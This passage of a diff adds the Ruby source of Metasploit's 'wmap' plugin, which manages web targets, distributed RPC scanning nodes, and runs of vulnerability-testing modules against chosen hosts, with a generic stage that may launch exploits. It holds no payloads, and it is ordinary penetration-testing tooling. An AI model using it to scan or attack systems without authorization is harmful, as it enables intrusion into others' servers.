:killwhenstop # Kill process when exiting + + include Msf::Ui::Console::CommandDispatcher + + def name + "wmap" + end + + # + # The initial command set + # + def commands + { + "wmap_targets" => "Manage targets", + "wmap_sites" => "Manage sites", + "wmap_nodes" => "Manage nodes", + "wmap_run" => "Test targets", + "wmap_modules" => "Manage wmap modules", + "wmap_vulns" => "Display web vulns", + } + end + + def cmd_wmap_vulns(*args) + args.push("-h") if args.length == 0 + + while (arg = args.shift) + case arg + when '-l' + view_vulns + return + when '-h' + print_status("Usage: wmap_vulns [options]") + print_line("\t-h Display this help text") + print_line("\t-l Display web vulns table") + + print_line("") + return + else + print_error("Unknown flag.") + return + end + end + end + + + def cmd_wmap_modules(*args) + args.push("-h") if args.length == 0 + + while (arg = args.shift) + case arg + when '-l' + view_modules + return + when '-r' + load_wmap_modules(true) + return + when '-h' + print_status("Usage: wmap_modules [options]") + print_line("\t-h Display this help text") + print_line("\t-l List all wmap enabled modules") + print_line("\t-r Reload wmap modules") + + print_line("") + return + else + print_error("Unknown flag.") + return + end + end + end + + def cmd_wmap_targets(*args) + args.push("-h") if args.length == 0 + + while (arg = args.shift) + case arg + when '-c' + self.targets = Hash.new() + when '-l' + view_targets + return + when '-t' + process_urls(args.shift) + when '-d' + process_ids(args.shift) + when '-h' + print_status("Usage: wmap_targets [options]") + print_line("\t-h Display this help text") + print_line("\t-t [urls] Define target sites (vhost1,url[space]vhost2,url) ") + print_line("\t-d [ids] Define target sites (id1, id2, id3 ...)") + print_line("\t-c Clean target sites list") + print_line("\t-l List all target sites") + + print_line("") + return + else + print_error("Unknown flag.") + return + end + end + end + + def cmd_wmap_sites(*args) + args.push("-h") if args.length == 0 + + while (arg = args.shift) + case arg + when '-a' + s = add_web_site(args.shift) + if s + print_status("Site created.") + else + print_error("Unable to create site") + end + when '-d' + del_idx = args + if del_idx + delete_sites(del_idx.select {|d| d =~ /^[0-9]*$/}.map(&:to_i).uniq) + return + else + print_error("Provide index of site to delete") + end + when '-l' + view_sites + return + when '-s' + u = args.shift + l = args.shift + s = args.shift + + if not u + return + end + + if l == nil or l.empty? + l = 200 + s = true + else + l = l.to_i + s = false + end + + if u.include? 'http' + # Parameters are in url form + view_site_tree(u,l,s) + else + # Parameters are digits + if !self.lastsites or self.lastsites.length == 0 + view_sites + print_status ("Web sites ids. referenced from previous table.") + end + + target_whitelist = [] + ids = u.to_s.split(/,/) + + ids.each do |id| + next if id.to_s.strip.empty? + + if id.to_i > self.lastsites.length + print_error("Skipping id #{id}...") + else + target_whitelist << self.lastsites[id.to_i] + #print_status("Loading #{self.lastsites[id.to_i]}.") + end + end + + # Skip the DB entirely if no matches + return if target_whitelist.length == 0 + + if not self.targets + self.targets = Hash.new() + end + + target_whitelist.each do |ent| + view_site_tree(ent,l,s) + end + end + return + when '-h' + print_status("Usage: wmap_sites [options]") + print_line("\t-h Display this help text") + print_line("\t-a [url] Add site (vhost,url)") + print_line("\t-d [ids] Delete sites (separate ids with space)") + print_line("\t-l List all available sites") + print_line("\t-s [id] Display site structure (vhost,url|ids) (level)") + + print_line("") + return + else + print_error("Unknown flag.") + return + end + end + end + + def cmd_wmap_nodes(*args) + + if not self.rpcarr + self.rpcarr=Hash.new() + end + + args.push("-h") if args.length == 0 + + while (arg = args.shift) + case arg + when '-a' + h = args.shift + r = args.shift + s = args.shift + u = args.shift + p = args.shift + + res = rpc_add_node(h,r,s,u,p,false) + if res + print_status("Node created.") + else + print_error("Unable to create node") + end + when '-c' + idref = args.shift + + if not idref + print_error("No id defined") + return + end + if idref.upcase == 'ALL' + print_status("All nodes removed") + self.rpcarr = Hash.new() + else + idx=0 + self.rpcarr.each do |k,v| + if idx == idref.to_i + self.rpcarr.delete(k) + print_status("Node deleted #{k}") + end + idx += 1 + end + end + when '-d' + host = args.shift + port = args.shift + user = args.shift + pass = args.shift + dbname = args.shift + + res = rpc_db_nodes(host,port,user,pass,dbname) + if res + print_status("OK.") + else + print_error("Error") + end + when '-l' + rpc_list_nodes + return + when '-j' + rpc_view_jobs + return + when '-k' + node = args.shift + jid = args.shift + rpc_kill_node(node,jid) + return + when '-h' + print_status("Usage: wmap_nodes [options]") + print_line("\t-h Display this help text") + print_line("\t-c id Remove id node (Use ALL for ALL nodes") + print_line("\t-a host port ssl user pass Add node") + print_line("\t-d host port user pass db Force all nodes to connect to db") + print_line("\t-j View detailed jobs") + print_line("\t-k ALL|id ALL|job_id Kill jobs on node") + print_line("\t-l List all current nodes") + + print_line("") + return + else + print_error("Unknown flag.") + return + end + end + end + + def cmd_wmap_run(*args) + # Stop everything + self.masstop = false + self.killwhenstop = true + + trap("INT") { + print_error("Stopping execution...") + self.masstop = true + if self.killwhenstop + rpc_kill_node('ALL','ALL') + end + } + + # Max numbers of concurrent jobs per node + self.njobs = 25 + self.nmaxdisplay = false + self.runlocal = false + + # Formating + sizeline = 60 + + wmap_show = 2**0 + wmap_expl = 2**1 + + # Exclude files can be modified by setting datastore['WMAP_EXCLUDE'] + wmap_exclude_files = '.*\.(gif|jpg|png*)$' + + run_wmap_ssl = true + run_wmap_server = true + run_wmap_dir_file = true + run_wmap_query = true + run_wmap_unique_query = true + run_wmap_generic = true + + # If module supports datastore['VERBOSE'] + moduleverbose = false + + showprogress = false + + if not self.rpcarr + self.rpcarr = Hash.new() + end + + if not run_wmap_ssl + print_status("Loading of wmap ssl modules disabled.") + end + if not run_wmap_server + print_status("Loading of wmap server modules disabled.") + end + if not run_wmap_dir_file + print_status("Loading of wmap dir and file modules disabled.") + end + if not run_wmap_query + print_status("Loading of wmap query modules disabled.") + end + if not run_wmap_unique_query + print_status("Loading of wmap unique query modules disabled.") + end + if not run_wmap_generic + print_status("Loading of wmap generic modules disabled.") + end + + stamp = Time.now.to_f + mode = 0 + + eprofile = [] + using_p = false + using_m = false + usinginipath = false + + mname = '' + inipathname = '/' + + args.push("-h") if args.length == 0 + + while (arg = args.shift) + case arg + when '-t' + mode |= wmap_show + when '-e' + mode |= wmap_expl + + profile = args.shift + + if profile + print_status("Using profile #{profile}.") + + begin + File.open(profile).each do |str| + if not str.include? '#' + # Not a comment + modname = str.strip + if not modname.empty? + eprofile << modname + end + end + using_p = true + end + rescue + print_error("Profile not found or invalid.") + return + end + else + print_status("Using ALL wmap enabled modules.") + end + when '-m' + mode |= wmap_expl + + mname = args.shift + + if mname + print_status("Using module #{mname}.") + end + using_m = true + when '-p' + mode |= wmap_expl + + inipathname = args.shift + + if inipathname + print_status("Using initial path #{inipathname}.") + end + usinginipath = true + + when '-h' + print_status("Usage: wmap_run [options]") + print_line("\t-h Display this help text") + print_line("\t-t Show all enabled modules") + print_line("\t-m [regex] Launch only modules that name match provided regex.") + print_line("\t-p [regex] Only test path defined by regex.") + print_line("\t-e [/path/to/profile] Launch profile modules against all matched targets.") + print_line("\t (No profile file runs all enabled modules.)") + print_line("") + return + else + print_error("Unknown flag") + return + end + end + + if (self.rpcarr.length == 0) and (mode & wmap_show == 0) + print_error("NO WMAP NODES DEFINED. Executing local modules") + self.runlocal = true + end + + if self.targets == nil + print_error("Targets have not been selected.") + return + end + + if self.targets.keys.length == 0 + print_error("Targets have not been selected.") + return + end + + execmod = true + if (mode & wmap_show != 0) + execmod = false + end + + self.targets.each_with_index do |t, idx| + + selected_host = t[1][:host] + selected_port = t[1][:port] + selected_ssl = t[1][:ssl] + selected_vhost = t[1][:vhost] + + print_status ("Testing target:") + print_status ("\tSite: #{selected_vhost} (#{selected_host})") + print_status ("\tPort: #{selected_port} SSL: #{selected_ssl}") + print_line '='* sizeline + print_status("Testing started. #{(Time.now )}") + + if not selected_ssl + run_wmap_ssl = false + #print_status ("Target is not SSL. SSL modules disabled.") + end + + # wmap_dir, wmap_file + matches = Hash.new() + + # wmap_server + matches1 = Hash.new() + + # wmap_query + matches2 = Hash.new() + + # wmap_ssl + matches3 = Hash.new() + + # wmap_unique_query + matches5 = Hash.new() + + # wmap_generic + matches10 = Hash.new() + + # OPTIONS + opt_str = nil + jobify = false + + # This will be clean later + load_wmap_modules(false) + + self.wmapmodules.each do |w| + case w[2] + when :wmap_server + if run_wmap_server + matches1[w]=true + end + when :wmap_query + if run_wmap_query + matches2[w]=true + end + when :wmap_unique_query + if run_wmap_unique_query + matches5[w]=true + end + when :wmap_generic + if run_wmap_generic + matches10[w]=true + end + when :wmap_dir, :wmap_file + if run_wmap_dir_file + matches[w]=true + end + when :wmap_ssl + if run_wmap_ssl + matches3[w]=true + end + else + # Black Hole + end + end + + # Execution order (orderid) + matches = sort_by_orderid(matches) + matches1 = sort_by_orderid(matches1) + matches2 = sort_by_orderid(matches2) + matches3 = sort_by_orderid(matches3) + matches5 = sort_by_orderid(matches5) + matches10 = sort_by_orderid(matches10) + + # + # Handle modules that need to be run before all tests IF SERVER is SSL, once usually again the SSL web server. + # :wmap_ssl + # + + print_status "\n=[ SSL testing ]=" + print_line "=" * sizeline + + if not selected_ssl + print_status ("Target is not SSL. SSL modules disabled.") + end + + idx = 0 + matches3.each_key do |xref| + if self.masstop + print_error("STOPPED.") + return + end + + # Module not part of profile or not match + if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) + idx += 1 + + begin + # Module options hash + modopts = Hash.new() + + # + # The code is just a proof-of-concept and will be expanded in the future + # + print_status "Module #{xref[0]}" + + if (mode & wmap_expl != 0) + + # + # For modules to have access to the global datastore + # i.e. set -g DOMAIN test.com + # + self.framework.datastore.each do |gkey,gval| + modopts[gkey]=gval + end + + # + # Parameters passed in hash xref + # + modopts['RHOST'] = selected_host + modopts['RHOSTS'] = selected_host + modopts['RPORT'] = selected_port.to_s + modopts['SSL'] = selected_ssl + modopts['VHOST'] = selected_vhost.to_s + modopts['VERBOSE'] = moduleverbose + modopts['ShowProgress'] = showprogress + modopts['RunAsJob'] = jobify + + begin + if execmod + rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) + end + rescue ::Exception + print_status(" >> Exception during launch from #{xref[0]}: #{$!}") + end + end + + rescue ::Exception + print_status(" >> Exception from #{xref[0]}: #{$!}") + end + end + end + + # + # Handle modules that need to be run before all tests, once usually again the web server. + # :wmap_server + # + print_status "\n=[ Web Server testing ]=" + print_line "=" * sizeline + + idx = 0 + matches1.each_key do |xref| + + if self.masstop + print_error("STOPPED.") + return + end + + # Module not part of profile or not match + if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) + idx += 1 + + begin + # Module options hash + modopts = Hash.new() + + # + # The code is just a proof-of-concept and will be expanded in the future + # + + print_status "Module #{xref[0]}" + + if (mode & wmap_expl != 0) + + # + # For modules to have access to the global datastore + # i.e. set -g DOMAIN test.com + # + self.framework.datastore.each do |gkey,gval| + modopts[gkey]=gval + end + + # + # Parameters passed in hash xref + # + modopts['RHOST'] = selected_host + modopts['RHOSTS'] = selected_host + modopts['RPORT'] = selected_port.to_s + modopts['SSL'] = selected_ssl + modopts['VHOST'] = selected_vhost.to_s + modopts['VERBOSE'] = moduleverbose + modopts['ShowProgress'] = showprogress + modopts['RunAsJob'] = jobify + + begin + if execmod + rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) + end + rescue ::Exception + print_status(" >> Exception during launch from #{xref[0]}: #{$!}") + end + end + + rescue ::Exception + print_status(" >> Exception from #{xref[0]}: #{$!}") + end + end + end + + # + # Handle modules to be run at every path/file + # wmap_dir, wmap_file + # + print_status "\n=[ File/Dir testing ]=" + print_line "=" * sizeline + + idx = 0 + matches.each_key do |xref| + + if self.masstop + print_error("STOPPED.") + return + end + + # Module not part of profile or not match + if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) + idx+=1 + + begin + # Module options hash + modopts = Hash.new() + + # + # The code is just a proof-of-concept and will be expanded in the future + # + + print_status "Module #{xref[0]}" + + if (mode & wmap_expl != 0) + # + # For modules to have access to the global datastore + # i.e. set -g DOMAIN test.com + # + self.framework.datastore.each do |gkey,gval| + modopts[gkey]=gval + end + + # + # Parameters passed in hash xref + # + modopts['RHOST'] = selected_host + modopts['RHOSTS'] = selected_host + modopts['RPORT'] = selected_port.to_s + modopts['SSL'] = selected_ssl + modopts['VHOST'] = selected_vhost.to_s + modopts['VERBOSE'] = moduleverbose + modopts['ShowProgress'] = showprogress + modopts['RunAsJob'] = jobify + + # + # Run the plugins that only need to be + # launched once. + # + + wtype = xref[2] + + h = self.framework.db.workspace.hosts.find_by_address(selected_host) + s = h.services.find_by_port(selected_port) + w = s.web_sites.find_by_vhost(selected_vhost) + + test_tree = load_tree(w) + test_tree.each do |node| + + if self.masstop + print_error("STOPPED.") + return + end + + p = node.current_path + testpath = Pathname.new(p) + strpath = testpath.cleanpath(false).to_s + + # + # Fixing paths + # + + if node.is_leaf? and not node.is_root? + # + # Later we can add here more checks to see if its a file + # + else + if node.is_root? + strpath = "/" + else + strpath = strpath.chomp + "/" + end + end + + strpath = strpath.gsub("//", "/") + #print_status("Testing path: #{strpath}") + + # + # Launch plugin depending module type. + # Module type depends on main input type. + # Code may be the same but it depend on final + # versions of plugins + # + + case wtype + when :wmap_file + if node.is_leaf? and not node.is_root? + # + # Check if an exclusion regex has been defined + # + if self.framework.datastore['WMAP_EXCLUDE'] + excludefilestr = self.framework.datastore['WMAP_EXCLUDE'] + else + excludefilestr = wmap_exclude_files + end + + if not strpath.match(excludefilestr) + if (not usinginipath) or (usinginipath and strpath.match(inipathname)) + modopts['PATH'] = strpath + print_status("Path: #{strpath}") + + begin + if execmod + rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) + end + rescue ::Exception + print_status(" >> Exception during launch from #{xref[0]}: #{$!}") + end + end + end + end + when :wmap_dir + if (node.is_leaf? and not strpath.include? ".") or node.is_root? or not node.is_leaf? + if (not usinginipath) or (usinginipath and strpath.match(inipathname)) + + modopts['PATH'] = strpath + print_status("Path: #{strpath}") + + begin + if execmod + rpcnode = rpc_round_exec(xref[0],xref[1], modopts, njobs) + end + rescue ::Exception + print_status(" >> Exception during launch from #{xref[0]}: #{$!}") + end + end + end + end + end + end + rescue ::Exception + print_status(" >> Exception from #{xref[0]}: #{$!}") + end + end + end + + # + # Run modules for each request to play with URI with UNIQUE query parameters. + # wmap_unique_query + # + print_status "\n=[ Unique Query testing ]=" + print_line "=" * sizeline + + idx = 0 + matches5.each_key do |xref| + + if self.masstop + print_error("STOPPED.") + return + end + + # Module not part of profile or not match + if ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) + idx += 1 + + begin + # Module options hash + modopts = Hash.new() + + # + # The code is just a proof-of-concept and will be expanded in the future + # + + print_status "Module #{xref[0]}" + + if (mode & wmap_expl != 0) + # + # For modules to have access to the global datastore + # i.e. set -g DOMAIN test.com + # + self.framework.datastore.each do |gkey,gval| + modopts[gkey]=gval + end + + # + # Parameters passed in hash xref + # + + modopts['RHOST'] = selected_host + modopts['RHOSTS'] = selected_host + modopts['RPORT'] = selected_port.to_s + modopts['SSL'] = selected_ssl + modopts['VHOST'] = selected_vhost.to_s + modopts['VERBOSE'] = moduleverbose + modopts['ShowProgress'] = showprogress + modopts['RunAsJob'] = jobify + + # + # Run the plugins for each request that have a distinct + # GET/POST URI QUERY string. + # + + utest_query = Hash.new() + + h = self.framework.db.workspace.hosts.find_by_address(selected_host) + s = h.services.find_by_port(selected_port) + w = s.web_sites.find_by_vhost(selected_vhost) + + w.web_forms.each do |form| + + if self.masstop + print_error("STOPPED.") + return + end + + # + # Only test unique query strings by comparing signature to previous tested signatures 'path,p1,p2,pn' + # + + datastr = "" + typestr = "" + + temparr = [] + + #print_status "---------" + #print_status form.params + #print_status "+++++++++" + + form.params.each do |p| + pn, pv, pt = p + if pn + if not pn.empty? + if not pv or pv.empty? + #TODO add value based on param name + pv = "aaa" + end + + #temparr << pn.to_s + "=" + Rex::Text.uri_encode(pv.to_s) + temparr << pn.to_s + "=" + pv.to_s + end + else + print_error("Blank parameter name. Form #{form.path}") + end + end + + datastr = temparr.join("&") if (temparr and not temparr.empty?) + + if (utest_query.has_key?(signature(form.path,datastr)) == false) + + modopts['METHOD'] = form.method.upcase + modopts['PATH'] = form.path + modopts['QUERY'] = form.query + if form.method.upcase == 'GET' + modopts['QUERY'] = datastr + modopts['DATA'] = "" + end + if form.method.upcase == 'POST' + modopts['DATA'] = datastr + end + modopts['TYPES'] = typestr + + # + # TODO: Add headers, etc. + # + if (not usinginipath) or (usinginipath and form.path.match(inipathname)) + + print_status "Path #{form.path}" + #print_status("Unique PATH #{modopts['PATH']}") + #print_status("Unique GET #{modopts['QUERY']}") + #print_status("Unique POST #{modopts['DATA']}") + #print_status("MODOPTS: #{modopts}") + + begin + if execmod + rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) + end + utest_query[signature(form.path,datastr)]=1 + rescue ::Exception + print_status(" >> Exception during launch from #{xref[0]}: #{$!}") + end + end + else + #print_status("Already tested") + end + end + end + + rescue ::Exception + print_status(" >> Exception from #{xref[0]}: #{$!}") + end + end + end + + # + # Run modules for each request to play with URI query parameters. + # This approach will reduce the complexity of the Tree used before + # and will make this shotgun implementation much simple. + # wmap_query + # + print_status "\n=[ Query testing ]=" + print_line "=" * sizeline + + idx = 0 + matches2.each_key do |xref| + + if self.masstop + print_error("STOPPED.") + return + end + + # Module not part of profile or not match + if not ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) + idx += 1 + + begin + # Module options hash + modopts = Hash.new() + + # + # The code is just a proof-of-concept and will be expanded in the future + # + + print_status "Module #{xref[0]}" + + if (mode & wmap_expl != 0) + + # + # For modules to have access to the global datastore + # i.e. set -g DOMAIN test.com + # + self.framework.datastore.each do |gkey,gval| + modopts[gkey]=gval + end + + # + # Parameters passed in hash xref + # + + modopts['RHOST'] = selected_host + modopts['RHOSTS'] = selected_host + modopts['RPORT'] = selected_port.to_s + modopts['SSL'] = selected_ssl + modopts['VHOST'] = selected_vhost.to_s + modopts['VERBOSE'] = moduleverbose + modopts['ShowProgress'] = showprogress + modopts['RunAsJob'] = jobify + + # + # Run the plugins for each request that have a distinct + # GET/POST URI QUERY string. + # + + h = self.framework.db.workspace.hosts.find_by_address(selected_host) + s = h.services.find_by_port(selected_port) + w = s.web_sites.find_by_vhost(selected_vhost) + + w.web_forms.each do |req| + + if self.masstop + print_error("STOPPED.") + return + end + + datastr = "" + typestr = "" + + temparr = [] + + req.params.each do |p| + pn, pv, pt = p + if pn + if not pn.empty? + if not pv or pv.empty? + #TODO add value based on param name + pv = "aaa" + end + #temparr << pn.to_s + "=" + Rex::Text.uri_encode(pv.to_s) + temparr << pn.to_s + "=" + pv.to_s + end + else + print_error("Blank parameter name. Form #{req.path}") + end + end + + datastr = temparr.join("&") if (temparr and not temparr.empty?) + + modopts['METHOD'] = req.method.upcase + modopts['PATH'] = req.path + if req.method.upcase == 'GET' + modopts['QUERY'] = datastr + modopts['DATA'] = "" + end + modopts['DATA'] = datastr if req.method.upcase == 'POST' + modopts['TYPES'] = typestr + + # + # TODO: Add method, headers, etc. + # + if (not usinginipath) or (usinginipath and req.path.match(inipathname)) + + print_status "Path #{req.path}" + #print_status("Query PATH #{modopts['PATH']}") + #print_status("Query GET #{modopts['QUERY']}") + #print_status("Query POST #{modopts['DATA']}") + #print_status("Query TYPES #{typestr}") + + begin + if execmod + rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) + end + rescue ::Exception + print_status(" >> Exception during launch from #{xref[0]}: #{$!}") + end + end + end + end + + rescue ::Exception + print_status(" >> Exception from #{xref[0]}: #{$!}") + end + end + end + + # + # Handle modules that need to be after all tests, once. + # Good place to have modules that analize the test results and/or + # launch exploits. + # :wmap_generic + # + print_status "\n=[ General testing ]=" + print_line "=" * sizeline + + idx = 0 + matches10.each_key do |xref| + + if self.masstop + print_error("STOPPED.") + return + end + + # Module not part of profile or not match + if not ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) + idx += 1 + + + begin + # Module options hash + modopts = Hash.new() + + # + # The code is just a proof-of-concept and will be expanded in the future + # + + print_status "Module #{xref[0]}" + + if (mode & wmap_expl != 0) + + # + # For modules to have access to the global datastore + # i.e. set -g DOMAIN test.com + # + self.framework.datastore.each do |gkey,gval| + modopts[gkey]=gval + end + + # + # Parameters passed in hash xref + # + + modopts['RHOST'] = selected_host + modopts['RHOSTS'] = selected_host + modopts['RPORT'] = selected_port.to_s + modopts['SSL'] = selected_ssl + modopts['VHOST'] = selected_vhost.to_s + modopts['VERBOSE'] = moduleverbose + modopts['ShowProgress'] = showprogress + modopts['RunAsJob'] = jobify + + # + # Run the plugins that only need to be + # launched once. + # + + begin + if execmod + rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) + end + rescue ::Exception + print_status(" >> Exception during launch from #{xref[0]}: #{$!}") + end + end + + rescue ::Exception + print_status(" >> Exception from #{xref[0]}: #{$!}") + end + end + end + + + if (mode & wmap_expl != 0) + print_line "+" * sizeline + + if not self.runlocal + if execmod + rpc_list_nodes() + print_status("Note: Use wmap_nodes -l to list node status for completion") + end + end + + print_line("Launch completed in #{(Time.now.to_f - stamp)} seconds.") + print_line "+" * sizeline + end + + print_status("Done.") + end + + # EOM + end + + def view_targets + if self.targets == nil or self.targets.keys.length == 0 + print_status "No targets have been defined" + return + end + + indent = ' ' + + tbl = Rex::Ui::Text::Table.new( + 'Indent' => indent.length, + 'Header' => 'Defined targets', + 'Columns' => + [ + 'Id', + 'Vhost', + 'Host', + 'Port', + 'SSL', + 'Path', + ]) + + self.targets.each_with_index { |t, idx| + tbl << [ idx.to_s, t[1][:vhost], t[1][:host], t[1][:port], t[1][:ssl], "\t"+t[1][:path].to_s ] + } + + print_status tbl.to_s + "\n" + end + + def delete_sites(wmap_index) + idx = 0 + to_del = {} + # Rebuild the index from wmap_sites -l + self.framework.db.hosts.each do |bdhost| + bdhost.services.each do |serv| + serv.web_sites.each do |web| + # If the index of this site matches any deletion index, + # add to our hash, saving the index for later output + to_del[idx] = web if wmap_index.any? {|w| w.to_i == idx} + idx += 1 + end + end + end + to_del.each do |widx,wsite| + if wsite.delete + print_status("Deleted #{wsite.vhost} on #{wsite.service.host.address} at index #{widx}") + else + print_error("Could note delete {wsite.vhost} on #{wsite.service.host.address} at index #{widx}") + end + end + end + + + def view_sites + # Clean temporary sites list + self.lastsites = [] + + indent = ' ' + + tbl = Rex::Ui::Text::Table.new( + 'Indent' => indent.length, + 'Header' => 'Available sites', + 'Columns' => + [ + 'Id', + 'Host', + 'Vhost', + 'Port', + 'Proto', + '# Pages', + '# Forms', + ]) + + idx = 0 + self.framework.db.hosts.each do |bdhost| + bdhost.services.each do |serv| + serv.web_sites.each do |web| + c = web.web_pages.count + f = web.web_forms.count + tbl << [ idx.to_s, bdhost.address, web.vhost, serv.port, serv.name, c.to_s, f.to_s ] + idx += 1 + + turl = web.vhost + "," + serv.name + "://" +bdhost.address.to_s + ":" + serv.port.to_s + "/" + self.lastsites << turl + end + end + end + + print_status tbl.to_s + "\n" + + end + + # Reusing code from hdmoore + # + # Allow the URL to be supplied as VHOST,URL if a custom VHOST + # should be used. This allows for things like: + # localhost,http://192.168.0.2/admin/ + + def add_web_site(url) + + vhost = nil + + # Allow the URL to be supplied as VHOST,URL if a custom VHOST + # should be used. This allows for things like: + # localhost,http://192.168.0.2/admin/ + + if url !~ /^http/ + vhost,url = url.split(",", 2) + if url.to_s.empty? + url = vhost + vhost = nil + end + end + + # Prefix http:// when the URL has no specified parameter + if url !~ /^[a-z0-9A-Z]+:\/\// + url = "http://" + url + end + + uri = URI.parse(url) rescue nil + if not uri + print_error("Could not understand URL: #{url}") + return + end + + if uri.scheme !~ /^https?/ + print_error("Only http and https URLs are accepted: #{url}") + return + end + + ssl = false + if uri.scheme == 'https' + ssl = true + end + + site = self.framework.db.report_web_site(:wait => true, :host => uri.host, :port => uri.port, :vhost => vhost, :ssl => ssl) + + return site + end + + # Code by hdm. Modified two lines by et + # + def process_urls(urlstr) + + target_whitelist = [] + + urls = urlstr.to_s.split(/\s+/) + + + urls.each do |url| + next if url.to_s.strip.empty? + vhost = nil + + # Allow the URL to be supplied as VHOST,URL if a custom VHOST + # should be used. This allows for things like: + # localhost,http://192.168.0.2/admin/ + + if url !~ /^http/ + vhost,url = url.split(",", 2) + if url.to_s.empty? + url = vhost + vhost = nil + end + end + + # Prefix http:// when the URL has no specified parameter + if url !~ /^[a-z0-9A-Z]+:\/\// + url = "http://" + url + end + + uri = URI.parse(url) rescue nil + if not uri + print_error("Could not understand URL: #{url}") + next + end + + if uri.scheme !~ /^https?/ + print_error("Only http and https URLs are accepted: #{url}") + next + end + + target_whitelist << [vhost || uri.host, uri] + end + + # Skip the DB entirely if no matches + return if target_whitelist.length == 0 + + if not self.targets + # First time targets are defined + self.targets = Hash.new() + end + + target_whitelist.each do |ent| + vhost,target = ent + + host = self.framework.db.workspace.hosts.find_by_address(target.host) + if not host + print_error("No matching host for #{target.host}") + next + end + serv = host.services.find_by_port_and_proto(target.port, 'tcp') + if not serv + print_error("No matching service for #{target.host}:#{target.port}") + next + end + + #print_status "aaa" + #print_status framework.db.workspace.name + + sites = serv.web_sites.where('vhost = ? and service_id = ?', vhost, serv.id) + + sites.each do |site| + # Initial defaul path + inipath = target.path + if target.path.empty? + inipath = '/' + end + + #site.web_forms.find_all_by_path(target.path).each do |form| + ckey = [ site.vhost, host.address, serv.port, inipath].join("|") + + if not self.targets[ckey] + self.targets[ckey] = WebTarget.new + self.targets[ckey].merge!({ + :vhost => site.vhost, + :host => host.address, + :port => serv.port, + :ssl => (serv.name == "https"), + :path => inipath + }) + #self.targets[ckey][inipath] = [] + else + print_status("Target already set in targets list.") + end + + # Store the form object in the hash for this path + #self.targets[ckey][inipath] << inipath + #end + end + end + end + + # Code by hdm. Modified two lines by et + # lastsites contains a temporary array with vhost,url strings so the id can be + # referenced in the array and prevent new sites added in the db to corrupt previous id list. + def process_ids(idsstr) + + if !self.lastsites or self.lastsites.length == 0 + view_sites + print_status ("Web sites ids. referenced from previous table.") + end + + target_whitelist = [] + ids = idsstr.to_s.split(/,/) + + ids.each do |id| + next if id.to_s.strip.empty? + + if id.to_i > self.lastsites.length + print_error("Skipping id #{id}...") + else + target_whitelist << self.lastsites[id.to_i] + print_status("Loading #{self.lastsites[id.to_i]}.") + end + end + + # Skip the DB entirely if no matches + return if target_whitelist.length == 0 + + if not self.targets + self.targets = Hash.new() + end + + target_whitelist.each do |ent| + process_urls(ent) + end + end + + def view_site_tree(urlstr, md, ld) + if not urlstr + return + end + + site_whitelist = [] + + urls = urlstr.to_s.split(/\s+/) + + urls.each do |url| + next if url.to_s.strip.empty? + vhost = nil + + # Allow the URL to be supplied as VHOST,URL if a custom VHOST + # should be used. This allows for things like: + # localhost,http://192.168.0.2/admin/ + + if url !~ /^http/ + vhost,url = url.split(",", 2) + + if url.to_s.empty? + url = vhost + vhost = nil + end + end + + # Prefix http:// when the URL has no specified parameter + if url !~ /^[a-z0-9A-Z]+:\/\// + url = "http://" + url + end + + uri = URI.parse(url) rescue nil + if not uri + print_error("Could not understand URL: #{url}") + next + end + + if uri.scheme !~ /^https?/ + print_error("Only http and https URLs are accepted: #{url}") + next + end + + site_whitelist << [vhost || uri.host, uri] + end + + # Skip the DB entirely if no matches + return if site_whitelist.length == 0 + + vsites = Hash.new() + + site_whitelist.each do |ent| + vhost,target = ent + + host = self.framework.db.workspace.hosts.find_by_address(target.host) + if not host + print_error("No matching host for #{target.host}") + next + end + serv = host.services.find_by_port_and_proto(target.port, 'tcp') + if not serv + print_error("No matching service for #{target.host}:#{target.port}") + next + end + + sites = serv.web_sites.where('vhost = ? and service_id = ?', vhost, serv.id) + + sites.each do |site| + t = load_tree(site) + print_tree(t,target.host,md,ld) + print_line("\n") + end + end + end + + # + # Load website structure into a tree + # + + def load_tree(s) + + pathchr = '/' + + wtree = Tree.new(s.vhost) + + # Load site pages + s.web_pages.find(:all, :order => 'path').each do |req| + tarray = req.path.to_s.split(pathchr) + tarray.delete("") + tpath = Pathname.new(pathchr) + tarray.each do |df| + wtree.add_at_path(tpath.to_s,df) + tpath = tpath + Pathname.new(df.to_s) + end + end + + # Load site forms + s.web_forms.each do |req| + tarray = req.path.to_s.split(pathchr) + tarray.delete("") + tpath = Pathname.new(pathchr) + tarray.each do |df| + wtree.add_at_path(tpath.to_s,df) + tpath = tpath + Pathname.new(df.to_s) + end + end + + return wtree + end + + # + # Print Tree structure. Still ugly + # + + def print_tree(tree, ip, maxlevel, limitlevel) + initab = " " * 4 + indent = 6 + if tree != nil and tree.depth <= maxlevel + print initab + (" " * indent * tree.depth) + if tree.depth > 0 + print "|"+("-" * (indent-1))+"/" + end + if tree.depth >= 0 + if tree.depth == 0 + print "[#{tree.name}] (#{ip})\n"+initab+(" " * indent)+"\n" + + else + c = tree.children.count + if c > 0 + print tree.name + " (" + c.to_s+")\n" + else + print tree.name + "\n" + end + end + end + + tree.children.each_pair do |name,child| + print_tree(child,ip,maxlevel,limitlevel) + end + + end + end + + def signature(fpath,fquery) + hsig = Hash.new() + + hsig = queryparse(fquery) + + # + # Signature of the form ',p1,p2,pn' then to be appended to path: path,p1,p2,pn + # + + sigstr = fpath + "," + hsig.map{|p| p[0].to_s}.join(",") + end + + def queryparse(query) + params = Hash.new() + + query.split(/[&;]/n).each do |pairs| + key, value = pairs.split('=',2) + if params.has_key?(key) + #Error + else + params[key] = value + end + end + params + end + + def rpc_add_node(host,port,ssl,user,pass,bypass_exist) + + 